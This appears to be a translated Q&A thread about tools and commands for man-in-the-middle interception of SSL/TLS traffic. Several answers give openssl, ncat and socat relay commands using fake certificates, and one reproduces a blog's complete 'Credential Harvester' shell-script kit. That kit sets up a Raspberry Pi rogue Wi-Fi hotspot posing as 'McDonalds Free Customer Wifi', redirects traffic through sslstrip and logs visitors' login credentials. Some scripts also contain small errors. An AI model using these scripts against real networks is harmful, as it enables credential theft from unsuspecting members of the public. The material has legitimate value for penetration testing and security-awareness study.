什么是对 SSL 执行中间人攻击的简单方法?

信息安全 tls 工具 中间人
2021-08-25 14:46:41

我想对客户端和服务器之间的 SSL 连接执行中间人攻击。

假设如下:

  • 我通过糟糕的证书验证或其他方式获得了客户将接受的证书。
  • 我知道我要模拟的服务器的 IP 地址,并且我可以在网络上执行诸如 ARP 欺骗之类的操作。
  • 底层协议可以是任何东西,从 HTTP 到自定义/专有的东西。

我可以编写一些代码来侦听端口,提供证书并启动 SSL,然后将内容作为透明代理转发,然后进行一些 ARP 欺骗以将流量重定向到我,但这很费力并且在工作时变得很麻烦在时间紧迫的测试中。

执行中间人攻击的快速/简单方法是什么?是否有任何工具旨在以简单的方式促进这一点,而无需大量配置?积极维护的东西是一个加号。

4个回答

更新:

  • 对于 HTTP,您可以使用Burp Suite 的代理(Java) 或mitmproxy

  • tcpcatcher是一个更通用的基于 Java 的 GUI 捕获和修改代理,可能更接近您的要求,它包括内容解码和修改(手动和编程)。它偏向 HTTP,但接受任何 TCP。它具有 SSL 支持,但唯一的缺点似乎是没有(记录的)方法来使用您自己的特定证书,只有即时证书。您可以轻松使用以下选项之一来解决此问题。

  • ettercap包括 ARP、ICMP(重定向)、DNS 和 DHCP“干预”功能,并支持直接 SSL MITM(虽然目前不通过 GUI,但您需要修改 conf 和/或命令行)。对于大多数用途来说,这似乎是最好的一体机。

  • sslsplit是另一个有用的 CLI 工具,它(主要)用于拦截和记录,而不是修改。它比 ettercap 上手更快,并且具有 SNI 检查、动态证书生成、支持 *BSD 和 Linux FW/NAT 以及HTTPS 的OCSP / HPKP / SPDY对策等功能。不过,您仍然必须获得流量

如果您想要快速、低技术和协议不可知论,您可以在 unix 机器上使用 OpenSSL 来实现大部分目标:

mkfifo request response
openssl s_server -quiet -no_ssl2 -cipher AES128-SHA \
  -accept 443 -cert fake.crt -key fake.key  < response | tee -a request
openssl s_client -quiet -connect www.server.com:443 < request  | tee -a response

-quiet还启用-ign_eof了在行首抑制字符的特殊处理(对于行缓冲输入),例如“Q”表示退出。s_client还支持基本的 STARTTLS 功能:SMTP、POP3、IMAP、FTP (auth)、XMPP 和 TELNET(来自 OpenSSL-1.1)。

openssl在不同的终端中启动每个。tee如果需要,将 's 替换为脚本以修改请求和回复。它不是最强大的,但它可能很有用。它支持 DTLS,如果您需要,IPv6 支持需要 OpenSSL-1.1。GnuTLSgnutls-serv支持 IPv6,并且由于 v3.0 也支持 DTLS,您几乎可以肯定使用and做类似的事情gnutls-cli,不过我还没有尝试过。)

ncat它的-exec选项也应该起作用:

ncat --ssl --ssl-cert fake.crt --ssl-key fake.key \
  --sh-exec "openssl s_client -quiet -connect www.server.com:443" \ 
  -kl 127.0.0.1 4443

您可以只使用“ --exec”并将您自己的客户端包装在脚本中。使用s_client它来预先创建会话文件,然后添加-sess_in ssl.sess -sess_out ssl.sess到您的调用中,对性能有很大帮助。

同样,如果您需要自己编写 MITM 脚本/编码socat是另一个不错的(并且可能是最强大的)选项:

CERT="cert=test.crt,key=test.key,verify=0"
SSL="cipher=AES128-SHA,method=TLSv1"
socat \ 
  OPENSSL-LISTEN:4443,bind=127.0.0.1,reuseaddr,$CERT,$SSL,fork  \
  EXEC:mitm.sh

开始就使用单线,就像客户openssl s_client -quiet -connect www.server.com:443一样工作mitm.shinetd

stunnel比 socat 更像代理,它有一个我在其他任何地方都看不到的一大优势:它支持协议内 TLS 升级/ STARTTLS,用于客户端和服务器模式下的 POP3、IMAP、SMTP 和其他一些;尽管 LDAP 和 FTP 是明显的遗漏(后者可以理解)。它的inetd模式可以(ab)使用,就像上面的“exec”选项一样。

要使用这些方法修改基于文本的通用 Internet 协议,您可能能够摆脱一些sed(例如更友好的连接netsed)或轻量级expect脚本。

多协议代理Delegate还支持外部(类似 inetd)处理,以及对支持的协议子集的匹配、过滤和重写的集成脚本支持。

我能想到的与通用协议无关的 MITM 代理接近的唯一其他事情是模糊工具,如proxyfuzz,或多协议模块化工具backfuzz(小心搜索最后一个 ;-)。

其他可能有用的工具(用于误导流量)包括:

在翻阅我的笔记时,我还多次遇到对Zorp的引用,在商业版(我没有隶属关系)和 GPL 版本中都不是免费的。值得一提,因为它声称是模块化的、可扩展的(通过 Python)多协议防火墙/网关。GPL 版本支持 TLS 检查(SSH 和其他似乎仅限于非 GPL 版本)。

这是我博客中的一篇文章,涉及在使用 Raspberry Pi 的 MITM 攻击中使用 SSLStrip - 由于 Google Blogger 不喜欢它,因此不得不将其删除,因此此内容是从 Evernote 粘贴的 :)

作为安全意识演示的一部分,我设置了我的 3g Pi 无线 AP,以从安全网站中剥离 SSL 并收集登录详细信息。在 MITM 攻击的背景下,您可能对此很熟悉,但是由于 Pi 是网关,因此无需 ARP 毒害网络,整个事情运行得更快一些。我想展示一个人设置无线 AP 提供免费互联网是多么容易,将设备隐藏起来 - 可能放在背包里 - 坐在公共场所获取登录详细信息而没有任何人怀疑*。将来我想在从电池组运行 Pi 时这样做。

  • 发生攻击的主要问题是浏览器中的导航栏不再在 URL 的开头显示“https:”。

脚本说明如下:

菜单

此脚本是使用凭证收集器脚本的简单菜单。它是从 Jeroen Doggen 的博客中复制而来,并进行了编辑以适合。需要将突出显示的部分更改为包含脚本的目录。

菜单.sh

#!/bin/bash
#
# Script to perform some common system operations
#
while :
do
clear
echo "************************"
echo "* Credential Harvester *"
echo "************************"
echo "* [1] Change SSID *"
echo "* [2] Open AP *"
echo "* [3] Start SSLStrip *"
echo "* [4] Stop SSLStrip *"
echo "* [5] Secure AP *"
echo "* [6] View Credentials
echo "* [Q] Quit *"
echo "************************"
echo -n "Enter your menu choice: "

read yourch
case $yourch in
1) /home/pi/cred_harv/changeSsid.sh ;;
2) /home/pi/cred_harv/makeOpen.sh ;;
3) /home/pi/cred_harv/sslStrip.sh ;;
4) /home/pi/cred_harv/tidySslStrip.sh ;;
5) /home/pi/cred_harv/makeSecure.sh ;;
6) /home/pi/cred_harv/viewCreds.sh ;;
Q) exit 0;;
*) echo "Oopps!!! Please select choice 1,2,3 or 4";
echo "Press Enter to continue. . ." ; read ;;

esac

done

更改 SSID

为了让 Pi 凭证收集器看起来可信,我们需要能够更改 SSID(每个人在扫描可用网络时看到的名称)以匹配我们当前的环境。坐在麦当劳?将 SSID 更改为“McDonalds Free Customer Wifi”或类似的东西。

鉴于 Pi 凭证收集器是无头的,最简单的方法是通过 Wifi 连接 SSH 并运行一个简单的脚本。

该脚本将使用 Sed 命令。来自 Sed 手册页:Sed 是一个流编辑器。流编辑器用于对输入流(文件或来自管道的输入)执行基本的文本转换。

因此,我们应该能够使用 Sed 替换 hostapd.conf 文件中的 SSID 名称条目。手册页指定“-i”标志用于内联更改 - 因此,不会创建文件的另一个副本的实时更改。要替换 SSID,完整的命令语法为:

sed -i 's/STRING_TO_FIND/STRING_TO_REPLACE_WITH/g' FILE

搜索和替换字符串开头和结尾的 's' 和 'g' 定义要执行的搜索和替换的类型我们的 STRING_TO_FIND 将是 'SSID=Pifi',STRING_TO_REPLACE 将是 'SSID=McDonalds Free Customer Wifi' 在这个例子中。FILE 是 /etc/hostapd.conf 文件,给我们命令:

sed -i 's/SSID=Pifi/McDonalds Free Customer Wifi/g' /etc/hostapd/hostapd.conf

需要重新启动 hostapd 服务才能应用更改:

sudo service hostapd restart

我想出的最终脚本获取当前 SSID 的名称,显示它,然后提示用户输入所需的 SSID。这被传递给 'sed',后者执行 hostapd.conf 的在线编辑,并重新启动服务以应用更改。

更改Ssid.sh

#!/bin/bash
currentSSID=`cat /etc/hostapd/hostapd.conf | grep -P -o '(?<=ssid=)[ A-Za-z0-9]*'`
#the -o flag means print only matched
#grep rule: http://stackoverflow.com/questions/1247812/im-stuck-in-trying-to-grep-anything-just-after-name

echo Current SSID is $currentSSID
echo Desired SSID:
read x
echo 'Changing SSID'
sudo sed -i "s/ssid=$currentSSID/ssid=$x/g" /etc/hostapd/hostapd.conf
echo 'Change OK'
echo 'Restarting hostapd service'
sudo service hostapd restart

使网络开放

makeOpen.sh

该脚本使用 'sed' 注释掉 hostapd.conf 中启用 wpa 安全性的行 - 这使 AP 打开,因此每个人都可以加入它。重新启动 hostapd 服务以启用更改。

#!/bin/bash
echo 'Disabling AP secutrity (AP is now open)'
sudo sed -i 's/wpa=2/#wpa=2/g' /etc/hostapd/hostapd.conf
sudo service hostapd restart

运行 SSLStrip

sslStrip.sh

此脚本运行 SSLStrip,它“伪造”来自安全网站的 SSL 保护,允许以纯文本形式读取登录凭据。您可以在 SSLStrip 网站上找到更多信息。

#!/bin/bash
echo "Editing Iptables and starting sslstrip"
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sudo sslstrip -p -k -w /home/pi/cred_harv/ssl.log 2> /dev/null &

关闭 SSLStrip

此脚本从 iptables 中删除路由规则,允许再次正常浏览。它还会终止 sslstrip 进程。

tidySslStrip.sh

#!/bin/bash
echo "Closing SSLStrip and cleaning up iptables"
sudo iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

sudo killall sslstrip

使网络安全

此脚本使用“sed”重新启用 hostapd.conf 中的 wpa 行,使 AP 再次安全。

makeSecure.sh

#!/bin/bash
echo 'Enabling AP security (AP is now secure)'
sudo sed -i 's/#wpa=2/wpa=2/g' /etc/hostapd/hostapd.conf
sudo service hostapd restart

如果您手动将这些复制并粘贴到脚本中,请记住使它们可执行,使用:

sudo chmod +x SCRIPT_NAME

查看凭证

该脚本只是打开 SSLStrip 日志文件,以便您可以在其中搜索用户名和密码 - 文件中有很多垃圾,但它们就在那里!

#!/bin/bash
sudo nano /home/pi/cred_harv/ssl.log

SSLStrip可能对设置测试或演示 MITM 很有用。它是一个 python 工具,您可以将其与 arp 欺骗一起使用来设置 MiTM。它可以颠覆从 http 到 https 的重定向。它也可以配置为与证书一起使用,以便受害者通过 ssl 连接到您,然后您连接到他们的初始目的地。Moxie Marlinspike 页面上有一段视频演示了它的一些用途。

Perl IO::Socket::SSL::Intercept是上述有用建议的另一个值得注意的补充。